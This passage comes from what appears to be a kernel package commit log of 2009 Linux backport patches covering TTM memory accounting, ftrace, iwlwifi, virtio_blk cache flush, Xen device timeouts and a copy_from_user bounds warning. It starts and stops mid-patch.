- * @emer_memory: Lowmem memory limit available for root.
- * @max_memory: Lowmem memory limit available for non-root.
- * @swap_limit: Lowmem memory limit where the shrink workqueue kicks in.
- * @used_memory: Currently used lowmem memory.
- * @used_total_memory: Currently used total (lowmem + highmem) memory.
- * @total_memory_swap_limit: Total memory limit where the shrink workqueue
- * kicks in.
- * @max_total_memory: Total memory available to non-root processes.
- * @emer_total_memory: Total memory available to root processes.
+ * @zones: Array of pointers to accounting zones.
+ * @num_zones: Number of populated entries in the @zones array.
+ * @zone_kernel: Pointer to the kernel zone.
+ * @zone_highmem: Pointer to the highmem zone if there is one.
+ * @zone_dma32: Pointer to the dma32 zone if there is one.
  *
  * Note that this structure is not per device. It should be global for all
  * graphics devices.
  */
 
+#define TTM_MEM_MAX_ZONES 2
+struct ttm_mem_zone;
 struct ttm_mem_global {
+	struct kobject kobj;
 	struct ttm_mem_shrink *shrink;
 	struct workqueue_struct *swap_queue;
 	struct work_struct work;
 	wait_queue_head_t queue;
 	spinlock_t lock;
-	uint64_t emer_memory;
-	uint64_t max_memory;
-	uint64_t swap_limit;
-	uint64_t used_memory;
-	uint64_t used_total_memory;
-	uint64_t total_memory_swap_limit;
-	uint64_t max_total_memory;
-	uint64_t emer_total_memory;
+	struct ttm_mem_zone *zones[TTM_MEM_MAX_ZONES];
+	unsigned int num_zones;
+	struct ttm_mem_zone *zone_kernel;
+#ifdef CONFIG_HIGHMEM
+	struct ttm_mem_zone *zone_highmem;
+#else
+	struct ttm_mem_zone *zone_dma32;
+#endif
 };
 
 /**
@@ -146,8 +146,13 @@ static inline void ttm_mem_unregister_shrink(struct ttm_mem_global *glob,
 extern int ttm_mem_global_init(struct ttm_mem_global *glob);
 extern void ttm_mem_global_release(struct ttm_mem_global *glob);
 extern int ttm_mem_global_alloc(struct ttm_mem_global *glob, uint64_t memory,
-				bool no_wait, bool interruptible, bool himem);
+				bool no_wait, bool interruptible);
 extern void ttm_mem_global_free(struct ttm_mem_global *glob,
-				uint64_t amount, bool himem);
+				uint64_t amount);
+extern int ttm_mem_global_alloc_page(struct ttm_mem_global *glob,
+				     struct page *page,
+				     bool no_wait, bool interruptible);
+extern void ttm_mem_global_free_page(struct ttm_mem_global *glob,
+				     struct page *page);
 extern size_t ttm_round_pot(size_t size);
 #endif
diff --git a/include/drm/ttm/ttm_module.h b/include/drm/ttm/ttm_module.h
index d1d4338..cf416ae 100644
--- a/include/drm/ttm/ttm_module.h
+++ b/include/drm/ttm/ttm_module.h
@@ -32,6 +32,7 @@
 #define _TTM_MODULE_H_
 
 #include <linux/kernel.h>
+struct kobject;
 
 #define TTM_PFX "[TTM] "
 
@@ -54,5 +55,6 @@ extern void ttm_global_init(void);
 extern void ttm_global_release(void);
 extern int ttm_global_item_ref(struct ttm_global_reference *ref);
 extern void ttm_global_item_unref(struct ttm_global_reference *ref);
+extern struct kobject *ttm_get_kobj(void);
 
 #endif /* _TTM_MODULE_H_ */

linux-2.6-frace-fixes.patch:
 b/include/linux/ftrace.h |    2 +-
 b/kernel/trace/ftrace.c  |   11 +++--------
 kernel/trace/ftrace.c    |   12 ++++--------
 3 files changed, 8 insertions(+), 17 deletions(-)

--- NEW FILE linux-2.6-frace-fixes.patch ---
commit 3279ba37db5d65c4ab0dcdee3b211ccb85bb563f
Author: Steven Rostedt <srostedt at redhat.com>
Date:   Wed Oct 7 16:57:56 2009 -0400

    ftrace: check for failure for all conversions
    
    Due to legacy code from back when the dynamic tracer used a daemon,
    only core kernel code was checking for failures. This is no longer
    the case. We must check for failures any time we perform text modifications.
    
    Cc: stable at kernel.org
    Signed-off-by: Steven Rostedt <rostedt at goodmis.org>

diff --git a/kernel/trace/ftrace.c b/kernel/trace/ftrace.c
index c701476..f136fe5 100644
--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -1074,14 +1074,9 @@ static void ftrace_replace_code(int enable)
 		failed = __ftrace_replace_code(rec, enable);
 		if (failed) {
 			rec->flags |= FTRACE_FL_FAILED;
-			if ((system_state == SYSTEM_BOOTING) ||
-			    !core_kernel_text(rec->ip)) {
-				ftrace_free_rec(rec);
-				} else {
-				ftrace_bug(failed, rec->ip);
-					/* Stop processing */
-					return;
-				}
+			ftrace_bug(failed, rec->ip);
+			/* Stop processing */
+			return;
 		}
 	} while_for_each_ftrace_rec();
 }
commit e7247a15ff3bbdab0a8b402dffa1171e5c05a8e0
Author: jolsa at redhat.com <jolsa at redhat.com>
Date:   Wed Oct 7 19:00:35 2009 +0200

    tracing: correct module boundaries for ftrace_release
    
    When the module is about the unload we release its call records.
    The ftrace_release function was given wrong values representing
    the module core boundaries, thus not releasing its call records.
    
    Plus making ftrace_release function module specific.
    
    Signed-off-by: Jiri Olsa <jolsa at redhat.com>
    LKML-Reference: <1254934835-363-3-git-send-email-jolsa at redhat.com>
    Cc: stable at kernel.org
    Signed-off-by: Steven Rostedt <rostedt at goodmis.org>

diff --git a/include/linux/ftrace.h b/include/linux/ftrace.h
index cd3d2ab..0b4f97d 100644
--- a/include/linux/ftrace.h
+++ b/include/linux/ftrace.h
@@ -241,7 +241,7 @@ extern void ftrace_enable_daemon(void);
 # define ftrace_set_filter(buf, len, reset)	do { } while (0)
 # define ftrace_disable_daemon()		do { } while (0)
 # define ftrace_enable_daemon()			do { } while (0)
-static inline void ftrace_release(void *start, unsigned long size) { }
+static inline void ftrace_release_mod(struct module *mod) {}
 static inline int register_ftrace_command(struct ftrace_func_command *cmd)
 {
 	return -EINVAL;
diff --git a/kernel/trace/ftrace.c b/kernel/trace/ftrace.c
index 46592fe..c701476 100644
--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -2658,19 +2658,17 @@ static int ftrace_convert_nops(struct module *mod,
 }
 
 #ifdef CONFIG_MODULES
-void ftrace_release(void *start, void *end)
+void ftrace_release_mod(struct module *mod)
 {
 	struct dyn_ftrace *rec;
 	struct ftrace_page *pg;
-	unsigned long s = (unsigned long)start;
-	unsigned long e = (unsigned long)end;
 
-	if (ftrace_disabled || !start || start == end)
+	if (ftrace_disabled)
 		return;
 
 	mutex_lock(&ftrace_lock);
 	do_for_each_ftrace_rec(pg, rec) {
-		if ((rec->ip >= s) && (rec->ip < e)) {
+		if (within_module_core(rec->ip, mod)) {
 			/*
 			 * rec->ip is changed in ftrace_free_rec()
 			 * It should not between s and e if record was freed.
@@ -2702,9 +2700,7 @@ static int ftrace_module_notify(struct notifier_block *self,
 				   mod->num_ftrace_callsites);
 		break;
 	case MODULE_STATE_GOING:
-		ftrace_release(mod->ftrace_callsites,
-			       mod->ftrace_callsites +
-			       mod->num_ftrace_callsites);
+		ftrace_release_mod(mod);
 		break;
 	}
 

linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch:
 iwl-rx.c       |   10 +++++++++-
 iwl3945-base.c |    9 ++++++++-
 2 files changed, 17 insertions(+), 2 deletions(-)

--- NEW FILE linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch ---
Backport of the following upstream commit...

commit f82a924cc88a5541df1d4b9d38a0968cd077a051
Author: Reinette Chatre <reinette.chatre at intel.com>
Date:   Thu Sep 17 10:43:56 2009 -0700

    iwlwifi: reduce noise when skb allocation fails
    
    Replenishment of receive buffers is done in the tasklet handling
    received frames as well as in a workqueue. When we are in the tasklet
    we cannot sleep and thus attempt atomic skb allocations. It is generally
    not a big problem if this fails since iwl_rx_allocate is always followed
    by a call to iwl_rx_queue_restock which will queue the work to replenish
    the buffers at a time when sleeping is allowed.
    
    We thus add the __GFP_NOWARN to the skb allocation in iwl_rx_allocate to
    reduce the noise if such an allocation fails while we still have enough
    buffers. We do maintain the warning and the error message when we are low
    on buffers to communicate to the user that there is a potential problem with
    memory availability on system
    
    This addresses issue reported upstream in thread "iwlagn: order 2 page
    allocation failures" in
    http://thread.gmane.org/gmane.linux.kernel.wireless.general/39187
    
    Signed-off-by: Reinette Chatre <reinette.chatre at intel.com>
    Acked-by: Mel Gorman <mel at csn.ul.ie>
    Signed-off-by: John W. Linville <linville at tuxdriver.com>

diff -up linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c.orig linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c
--- linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c.orig	2009-10-02 15:40:48.000000000 -0400
+++ linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c	2009-10-02 15:53:01.000000000 -0400
@@ -1211,13 +1211,20 @@ static void iwl3945_rx_allocate(struct i
 		list_del(element);
 		spin_unlock_irqrestore(&rxq->lock, flags);
 
+		if (rxq->free_count > RX_LOW_WATERMARK)
+			priority |= __GFP_NOWARN;
 		/* Alloc a new receive buffer */
 		rxb->skb =
 		    alloc_skb(priv->hw_params.rx_buf_size,
 				priority);
 		if (!rxb->skb) {
 			if (net_ratelimit())
-				IWL_CRIT(priv, ": Can not allocate SKB buffers\n");
+				IWL_DEBUG_INFO(priv, "Failed to allocate SKB buffer.\n");
+			if ((rxq->free_count <= RX_LOW_WATERMARK) &&
+			    net_ratelimit())
+				IWL_CRIT(priv, "Failed to allocate SKB buffer with %s. Only %u free buffers remaining.\n",
+					 priority == GFP_ATOMIC ?  "GFP_ATOMIC" : "GFP_KERNEL",
+					 rxq->free_count);
 			/* We don't reschedule replenish work here -- we will
 			 * call the restock method and if it still needs
 			 * more buffers it will schedule replenish */
diff -up linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c.orig linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c
--- linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c.orig	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c	2009-10-02 15:58:34.000000000 -0400
@@ -254,12 +254,20 @@ void iwl_rx_allocate(struct iwl_priv *pr
 
 		spin_unlock_irqrestore(&rxq->lock, flags);
 
+		if (rxq->free_count > RX_LOW_WATERMARK)
+			priority |= __GFP_NOWARN;
 		/* Alloc a new receive buffer */
 		rxb->skb = alloc_skb(priv->hw_params.rx_buf_size + 256,
 						priority);
 
 		if (!rxb->skb) {
-			IWL_CRIT(priv, "Can not allocate SKB buffers\n");
+			if (net_ratelimit())
+				IWL_DEBUG_INFO(priv, "Failed to allocate SKB buffer.\n");
+			if ((rxq->free_count <= RX_LOW_WATERMARK) &&
+			    net_ratelimit())
+				IWL_CRIT(priv, "Failed to allocate SKB buffer with %s. Only %u free buffers remaining.\n",
+					 priority == GFP_ATOMIC ?  "GFP_ATOMIC" : "GFP_KERNEL",
+					 rxq->free_count);
 			/* We don't reschedule replenish work here -- we will
 			 * call the restock method and if it still needs
 			 * more buffers it will schedule replenish */

linux-2.6-virtio_blk-add-support-for-cache-flush.patch:
 drivers/block/virtio_blk.c |   30 +++++++++++++++++++++++++-----
 include/linux/virtio_blk.h |   15 +++++++++++++++
 2 files changed, 40 insertions(+), 5 deletions(-)

--- NEW FILE linux-2.6-virtio_blk-add-support-for-cache-flush.patch ---
From: Christoph Hellwig <hch at lst.de>
Date: Thu, 17 Sep 2009 17:57:42 +0000 (+0200)
Subject: virtio_blk: add support for cache flush
X-Git-Tag: v2.6.32-rc1~175^2~5
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=f1b0ef0626

virtio_blk: add support for cache flush

Recent qemu has added a VIRTIO_BLK_F_FLUSH flag to advertise that the
virtual disk has a volatile write cache that needs to be flushed.  In case
we see this feature implement tell the Linux block layer about the fact
and use the new VIRTIO_BLK_T_FLUSH to flush the cache when required.  This
allows for an correct and simple implementation of write barriers.

Signed-off-by: Christoph Hellwig <hch at lst.de>
Signed-off-by: Rusty Russell <rusty at rustcorp.com.au>
---

diff --git a/drivers/block/virtio_blk.c b/drivers/block/virtio_blk.c
index 73de753..3d5fe97 100644
--- a/drivers/block/virtio_blk.c
+++ b/drivers/block/virtio_blk.c
@@ -92,15 +92,26 @@ static bool do_req(struct request_queue *q, struct virtio_blk *vblk,
 		return false;
 
 	vbr->req = req;
-	if (blk_fs_request(vbr->req)) {
+	switch (req->cmd_type) {
+	case REQ_TYPE_FS:
 		vbr->out_hdr.type = 0;
 		vbr->out_hdr.sector = blk_rq_pos(vbr->req);
 		vbr->out_hdr.ioprio = req_get_ioprio(vbr->req);
-	} else if (blk_pc_request(vbr->req)) {
+		break;
+	case REQ_TYPE_BLOCK_PC:
 		vbr->out_hdr.type = VIRTIO_BLK_T_SCSI_CMD;
 		vbr->out_hdr.sector = 0;
 		vbr->out_hdr.ioprio = req_get_ioprio(vbr->req);
-	} else {
+		break;
+	case REQ_TYPE_LINUX_BLOCK:
+		if (req->cmd[0] == REQ_LB_OP_FLUSH) {
+			vbr->out_hdr.type = VIRTIO_BLK_T_FLUSH;
+			vbr->out_hdr.sector = 0;
+			vbr->out_hdr.ioprio = req_get_ioprio(vbr->req);
+			break;
+		}
+		/*FALLTHRU*/
+	default:
 		/* We don't put anything else in the queue. */
 		BUG();
 	}
@@ -200,6 +211,12 @@ out:
 	return err;
 }
 
+static void virtblk_prepare_flush(struct request_queue *q, struct request *req)
+{
+	req->cmd_type = REQ_TYPE_LINUX_BLOCK;
+	req->cmd[0] = REQ_LB_OP_FLUSH;
+}
+
 static int virtblk_ioctl(struct block_device *bdev, fmode_t mode,
 			 unsigned cmd, unsigned long data)
 {
@@ -338,7 +355,10 @@ static int __devinit virtblk_probe(struct virtio_device *vdev)
 	index++;
 
 	/* If barriers are supported, tell block layer that queue is ordered */
-	if (virtio_has_feature(vdev, VIRTIO_BLK_F_BARRIER))
+	if (virtio_has_feature(vdev, VIRTIO_BLK_F_FLUSH))
+		blk_queue_ordered(vblk->disk->queue, QUEUE_ORDERED_DRAIN_FLUSH,
+				  virtblk_prepare_flush);
+	else if (virtio_has_feature(vdev, VIRTIO_BLK_F_BARRIER))
 		blk_queue_ordered(vblk->disk->queue, QUEUE_ORDERED_TAG, NULL);
 
 	/* If disk is read-only in the host, the guest should obey */
@@ -425,7 +445,7 @@ static struct virtio_device_id id_table[] = {
 static unsigned int features[] = {
 	VIRTIO_BLK_F_BARRIER, VIRTIO_BLK_F_SEG_MAX, VIRTIO_BLK_F_SIZE_MAX,
 	VIRTIO_BLK_F_GEOMETRY, VIRTIO_BLK_F_RO, VIRTIO_BLK_F_BLK_SIZE,
-	VIRTIO_BLK_F_SCSI, VIRTIO_BLK_F_IDENTIFY
+	VIRTIO_BLK_F_SCSI, VIRTIO_BLK_F_IDENTIFY, VIRTIO_BLK_F_FLUSH
 };
 
 /*
diff --git a/include/linux/virtio_blk.h b/include/linux/virtio_blk.h
index 25fbabf..15cb666 100644
--- a/include/linux/virtio_blk.h
+++ b/include/linux/virtio_blk.h
@@ -14,6 +14,7 @@
 #define VIRTIO_BLK_F_BLK_SIZE	6	/* Block size of disk is available*/
 #define VIRTIO_BLK_F_SCSI	7	/* Supports scsi command passthru */
 #define VIRTIO_BLK_F_IDENTIFY	8	/* ATA IDENTIFY supported */
+#define VIRTIO_BLK_F_FLUSH	9	/* Cache flush command support */
 
 #define VIRTIO_BLK_ID_BYTES	(sizeof(__u16[256]))	/* IDENTIFY DATA */
 
@@ -35,6 +36,17 @@ struct virtio_blk_config {
 	__u8 identify[VIRTIO_BLK_ID_BYTES];
 } __attribute__((packed));
 
+/*
+ * Command types
+ *
+ * Usage is a bit tricky as some bits are used as flags and some are not.
+ *
+ * Rules:
+ *   VIRTIO_BLK_T_OUT may be combined with VIRTIO_BLK_T_SCSI_CMD or
+ *   VIRTIO_BLK_T_BARRIER.  VIRTIO_BLK_T_FLUSH is a command of its own
+ *   and may not be combined with any of the other flags.
+ */
+
 /* These two define direction. */
 #define VIRTIO_BLK_T_IN		0
 #define VIRTIO_BLK_T_OUT	1
@@ -42,6 +54,9 @@ struct virtio_blk_config {
 /* This bit says it's a scsi command, not an actual read or write. */
 #define VIRTIO_BLK_T_SCSI_CMD	2
 
+/* Cache flush command */
+#define VIRTIO_BLK_T_FLUSH	4
+
 /* Barrier before this op. */
 #define VIRTIO_BLK_T_BARRIER	0x80000000
 

linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch:
 xenbus_probe.c |   13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

--- NEW FILE linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch ---
From: Paolo Bonzini <pbonzini at redhat.com>
Date: Wed, 8 Jul 2009 10:27:37 +0000 (+0200)
Subject: xen: fix is_disconnected_device/exists_disconnected_device
X-Git-Tag: xen-dom0-2.6.31-rc3~3^2~2
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Fjeremy%2Fxen.git;a=commitdiff_plain;h=8800a1de3df00fa994f72ad0d7c1eda9b5a0b514

xen: fix is_disconnected_device/exists_disconnected_device

The logic of is_disconnected_device/exists_disconnected_device is wrong
in that they are used to test whether a device is trying to connect (i.e.
connecting).  For this reason the patch fixes them to not consider a
Closing or Closed device to be connecting.  At the same time the patch
also renames the functions according to what they really do; you could
say a closed device is "disconnected" (the old name), but not "connecting"
(the new name).

This patch is a backport of changeset 909 from the Xenbits tree.

Cc: Jeremy Fitzhardinge <jeremy.fitzhardinge at citrix.com>
Signed-off-by: Paolo Bonzini <pbonzini at redhat.com>
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge at citrix.com>
---

diff --git a/drivers/xen/xenbus/xenbus_probe.c b/drivers/xen/xenbus/xenbus_probe.c
index d42e25d..c543766 100644
--- a/drivers/xen/xenbus/xenbus_probe.c
+++ b/drivers/xen/xenbus/xenbus_probe.c
@@ -843,7 +843,7 @@ postcore_initcall(xenbus_probe_init);
 
 MODULE_LICENSE("GPL");
 
-static int is_disconnected_device(struct device *dev, void *data)
+static int is_device_connecting(struct device *dev, void *data)
 {
 	struct xenbus_device *xendev = to_xenbus_device(dev);
 	struct device_driver *drv = data;
@@ -861,14 +861,15 @@ static int is_disconnected_device(struct device *dev, void *data)
 		return 0;
 
 	xendrv = to_xenbus_driver(dev->driver);
-	return (xendev->state != XenbusStateConnected ||
-		(xendrv->is_ready && !xendrv->is_ready(xendev)));
+	return (xendev->state < XenbusStateConnected ||
+		(xendev->state == XenbusStateConnected &&
+		 xendrv->is_ready && !xendrv->is_ready(xendev)));
 }
 
-static int exists_disconnected_device(struct device_driver *drv)
+static int exists_connecting_device(struct device_driver *drv)
 {
 	return bus_for_each_dev(&xenbus_frontend.bus, NULL, drv,
-				is_disconnected_device);
+				is_device_connecting);
 }
 
 static int print_device_status(struct device *dev, void *data)
@@ -918,7 +919,7 @@ static void wait_for_devices(struct xenbus_driver *xendrv)
 	if (!ready_to_wait_for_devices || !xen_domain())
 		return;
 
-	while (exists_disconnected_device(drv)) {
+	while (exists_connecting_device(drv)) {
 		if (time_after(jiffies, timeout))
 			break;
 		schedule_timeout_interruptible(HZ/10);

linux-2.6-xen-improvement-to-wait_for_devices.patch:
 xenbus_probe.c |    9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

--- NEW FILE linux-2.6-xen-improvement-to-wait_for_devices.patch ---
From: Paolo Bonzini <pbonzini at redhat.com>
Date: Wed, 8 Jul 2009 10:27:38 +0000 (+0200)
Subject: xen: improvement to wait_for_devices()
X-Git-Tag: xen-dom0-2.6.31-rc3~3^2~1
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Fjeremy%2Fxen.git;a=commitdiff_plain;h=ed9ef1e71122628b50b0a526607509511b0d9135

xen: improvement to wait_for_devices()

When printing a warning about a timed-out device, print the
current state of both ends of the device connection (i.e., backend as
well as frontend).  This backports half of changeset 146 from the
Xenbits tree.

Cc: Jeremy Fitzhardinge <jeremy.fitzhardinge at citrix.com>
Signed-off-by: Paolo Bonzini <pbonzini at redhat.com>
---

diff --git a/drivers/xen/xenbus/xenbus_probe.c b/drivers/xen/xenbus/xenbus_probe.c
index c543766..3a867a5 100644
--- a/drivers/xen/xenbus/xenbus_probe.c
+++ b/drivers/xen/xenbus/xenbus_probe.c
@@ -885,10 +885,13 @@ static int print_device_status(struct device *dev, void *data)
 		/* Information only: is this too noisy? */
 		printk(KERN_INFO "XENBUS: Device with no driver: %s\n",
 		       xendev->nodename);
-	} else if (xendev->state != XenbusStateConnected) {
+	} else if (xendev->state < XenbusStateConnected) {
+		enum xenbus_state rstate = XenbusStateUnknown;
+		if (xendev->otherend)
+			rstate = xenbus_read_driver_state(xendev->otherend);
 		printk(KERN_WARNING "XENBUS: Timeout connecting "
-		       "to device: %s (state %d)\n",
-		       xendev->nodename, xendev->state);
+		       "to device: %s (local state %d, remote state %d)\n",
+		       xendev->nodename, xendev->state, rstate);
 	}
 
 	return 0;

linux-2.6-xen-increase-device-connection-timeout.patch:
 xenbus_probe.c |   20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)

--- NEW FILE linux-2.6-xen-increase-device-connection-timeout.patch ---
From: Paolo Bonzini <pbonzini at redhat.com>
Date: Wed, 8 Jul 2009 10:27:39 +0000 (+0200)
Subject: xen: wait up to 5 minutes for device connetion
X-Git-Tag: xen-dom0-2.6.31-rc3~3^2
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Fjeremy%2Fxen.git;a=commitdiff_plain;h=11b84f69d36b518ff862a1bcd61ace7f8dac76b5;hp=ed9ef1e71122628b50b0a526607509511b0d9135

xen: wait up to 5 minutes for device connetion

Increases the device timeout from 10s to 5 minutes, giving the user a
visual indication during that time in case there are problems.  The patch
is a backport of changesets 144 and 150 in the Xenbits tree.

Cc: Jeremy Fitzhardinge <jeremy.fitzhardinge at citrix.com>
Signed-off-by: Paolo Bonzini <pbonzini at redhat.com>
---

diff --git a/drivers/xen/xenbus/xenbus_probe.c b/drivers/xen/xenbus/xenbus_probe.c
index 3a867a5..4f69159 100644
--- a/drivers/xen/xenbus/xenbus_probe.c
+++ b/drivers/xen/xenbus/xenbus_probe.c
@@ -901,7 +901,7 @@ static int print_device_status(struct device *dev, void *data)
 static int ready_to_wait_for_devices;
 
 /*
- * On a 10 second timeout, wait for all devices currently configured.  We need
+ * On a 5-minute timeout, wait for all devices currently configured.  We need
  * to do this to guarantee that the filesystems and / or network devices
  * needed for boot are available, before we can allow the boot to proceed.
  *
@@ -916,18 +916,30 @@ static int ready_to_wait_for_devices;
  */
 static void wait_for_devices(struct xenbus_driver *xendrv)
 {
-	unsigned long timeout = jiffies + 10*HZ;
+	unsigned long start = jiffies;
 	struct device_driver *drv = xendrv ? &xendrv->driver : NULL;
+	unsigned int seconds_waited = 0;
 
 	if (!ready_to_wait_for_devices || !xen_domain())
 		return;
 
 	while (exists_connecting_device(drv)) {
-		if (time_after(jiffies, timeout))
-			break;
+		if (time_after(jiffies, start + (seconds_waited+5)*HZ)) {
+			if (!seconds_waited)
+				printk(KERN_WARNING "XENBUS: Waiting for "
+				       "devices to initialise: ");
+			seconds_waited += 5;
+			printk("%us...", 300 - seconds_waited);
+			if (seconds_waited == 300)
+				break;
+		}
+
 		schedule_timeout_interruptible(HZ/10);
 	}
 
+	if (seconds_waited)
+		printk("\n");
+
 	bus_for_each_dev(&xenbus_frontend.bus, NULL, drv,
 			 print_device_status);
 }

linux-2.6.31-copy_from_user-bounds.patch:
 b/arch/x86/include/asm/uaccess_32.h               |   12 ++++-
 b/arch/x86/lib/usercopy_32.c                      |    6 ++
 b/drivers/acpi/proc.c                             |    4 -
 b/drivers/acpi/video.c                            |   20 ++++++---
 b/drivers/char/nvram.c                            |   12 ++++-
 b/fs/cifs/cifs_debug.c                            |   10 ++--
 b/include/linux/compiler-gcc4.h                   |    3 +
 b/include/linux/compiler.h                        |    9 +---
 b/kernel/capability.c                             |   11 ++---
 b/mm/migrate.c                                    |   47 ++++++++++++++++++++--
 b/net/socket.c                                    |    9 ++--
 b/net/wireless/wext.c                             |   11 ++---
 linux-2.6.31.noarch/arch/x86/kernel/cpu/mtrr/if.c |   21 ++++++---
 13 files changed, 127 insertions(+), 48 deletions(-)

--- NEW FILE linux-2.6.31-copy_from_user-bounds.patch ---
>From davej  Wed Sep 30 12:03:40 2009
Return-Path: linux-kernel-owner at vger.kernel.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	gelk.kernelslacker.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.1 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_DNSWL_MED,UNPARSEABLE_RELAY autolearn=ham version=3.2.5
Received: from mail.corp.redhat.com [10.5.5.52]
	by gelk.kernelslacker.org with IMAP (fetchmail-6.3.9)
	for <davej at localhost> (single-drop); Wed, 30 Sep 2009 12:03:40 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com (LHLO
 zmta01.collab.prod.int.phx2.redhat.com) (10.5.5.31) by
 mail04.corp.redhat.com with LMTP; Wed, 30 Sep 2009 07:05:24 -0400 (EDT)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id A83B191E74;
	Wed, 30 Sep 2009 07:05:24 -0400 (EDT)
Received: from zmta01.collab.prod.int.phx2.redhat.com ([127.0.0.1])
	by localhost (zmta01.collab.prod.int.phx2.redhat.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id C2l5G8z2ZQxe; Wed, 30 Sep 2009 07:05:24 -0400 (EDT)
Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by zmta01.collab.prod.int.phx2.redhat.com (Postfix) with ESMTP id 6C40F91AFB;
	Wed, 30 Sep 2009 07:05:24 -0400 (EDT)
Received: from mx1.redhat.com (ext-mx05.extmail.prod.ext.phx2.redhat.com [10.5.110.9])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id n8UB5Hsn004857;
	Wed, 30 Sep 2009 07:05:18 -0400
Received: from vger.kernel.org (vger.kernel.org [209.132.176.167])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n8UAvsRr008879;
	Wed, 30 Sep 2009 07:05:06 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org via listexpand
	id S1754157AbZI3LE4 (ORCPT <rfc822;mrezanin at redhat.com> + 41 others);
	Wed, 30 Sep 2009 07:04:56 -0400
Received: (majordomo at vger.kernel.org) by vger.kernel.org id S1753441AbZI3LE4
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 30 Sep 2009 07:04:56 -0400
Received: from casper.infradead.org ([85.118.1.10]:46939 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752896AbZI3LEz convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel at vger.kernel.org>);
	Wed, 30 Sep 2009 07:04:55 -0400
Received: from [83.119.188.87] (helo=localhost.localdomain)
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1MswzQ-0005Tp-EG; Wed, 30 Sep 2009 11:04:56 +0000
Date: 	Wed, 30 Sep 2009 13:05:23 +0200
From: Arjan van de Ven <arjan at infradead.org>
To: linux-kernel at vger.kernel.org
Cc: mingo at elte.hu, tglx at tglx.de, hpa at zytor.com
Subject: [PATCH] x86: Turn the copy_from_user check into an (optional)
 compile time warning
Message-ID: <20090930130523.348ae6c4 at infradead.org>
Organization: Intel
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8BIT
X-SRS-Rewrite: SMTP reverse-path rewritten from <arjan at infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Sender: linux-kernel-owner at vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: 	linux-kernel at vger.kernel.org
X-RedHat-Spam-Score: -4  (RCVD_IN_DNSWL_MED)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.9
Status: RO
Content-Length: 3934
Lines: 111


>From 350cf3cd513e6759ae6852946532a47249f25600 Mon Sep 17 00:00:00 2001
From: Arjan van de Ven <arjan at linux.intel.com>
Date: Wed, 30 Sep 2009 12:57:46 +0200
Subject: [PATCH] x86: Turn the copy_from_user check into an (optional) compile time warning

A previous patch added the buffer size check to copy_from_user().

One of the things learned from analyzing the result of the previous patch
is that in general, gcc is really good at proving that the code contains
sufficient security checks to not need to do a runtime check. But that
for those cases where gcc could not prove this, there was a relatively
high percentage of real security issues.

This patch turns the case of "gcc cannot prove" into a compile time
warning, as long as a sufficiently new gcc is in use that supports this.
The objective is that these warnings will trigger developers checking
new cases out before a security hole enters a linux kernel release.

Signed-off-by: Arjan van de Ven <arjan at linux.intel.com>
---
 arch/x86/include/asm/uaccess_32.h |   12 +++++++++---
 arch/x86/lib/usercopy_32.c        |    6 ++++++
 include/linux/compiler-gcc4.h     |    3 +++
 include/linux/compiler.h          |    4 ++++
 4 files changed, 22 insertions(+), 3 deletions(-)

diff --git a/arch/x86/include/asm/uaccess_32.h b/arch/x86/include/asm/uaccess_32.h
index 582d6ae..7826639 100644
--- a/arch/x86/include/asm/uaccess_32.h
+++ b/arch/x86/include/asm/uaccess_32.h
@@ -191,6 +191,13 @@ unsigned long __must_check _copy_from_user(void *to,
 					  const void __user *from,
 					  unsigned long n);
 
+
+extern void copy_from_user_overflow(void)
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+	__compiletime_warning("copy_from_user buffer size is not provably correct")
+#endif
+;
+
